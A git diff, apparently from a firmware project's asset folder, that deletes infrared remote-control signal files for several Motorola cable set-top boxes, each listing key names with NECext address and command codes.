-# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: MYDVR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir deleted file mode 100644 index ce9f06a78..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: LOCK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: AUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: ADOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: ALEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: ARIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir deleted file mode 100644 index 885771816..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir deleted file mode 100644 index 64a7ff6c9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: ok/select -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: tv/vcr_input -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: a_lock -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: pnp-swap -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: c_day+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: b_day- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: mydvr -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: live -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: hdzoom_enter -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir deleted file mode 100644 index db2ebdb7c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: ppv -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: vod -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: pip_onoff -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: pip_swap -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: pip_move -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: pip_chan_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: pip_chan_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: day-plus -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: day-minus -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: aspect -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir deleted file mode 100644 index c3c7dea8a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 02 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 04 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 07 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 09 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 0A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 0E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 12 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 14 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 15 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 16 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 17 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 19 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 1B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 1E 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 1F 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 82 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 86 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 88 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 8B 00 00 00 -# -name: question -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 8F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 91 00 00 00 -# -name: interactive -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 93 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 9C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 9D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir deleted file mode 100644 index c3c7dea8a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 02 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 04 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 07 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 09 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 0A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 0E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 12 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 14 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 15 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 16 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 17 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 19 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 1B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 1E 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 1F 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 82 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 86 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 88 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 8B 00 00 00 -# -name: question -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 8F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 91 00 00 00 -# -name: interactive -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 93 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 9C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 2F 00 00 -command: 9D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir deleted file mode 100644 index e7b643335..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: yelow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 70 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 71 00 00 00 -# -name: grey -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 72 00 00 00 -# -name: ojo -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D8 00 00 00 -# -name: 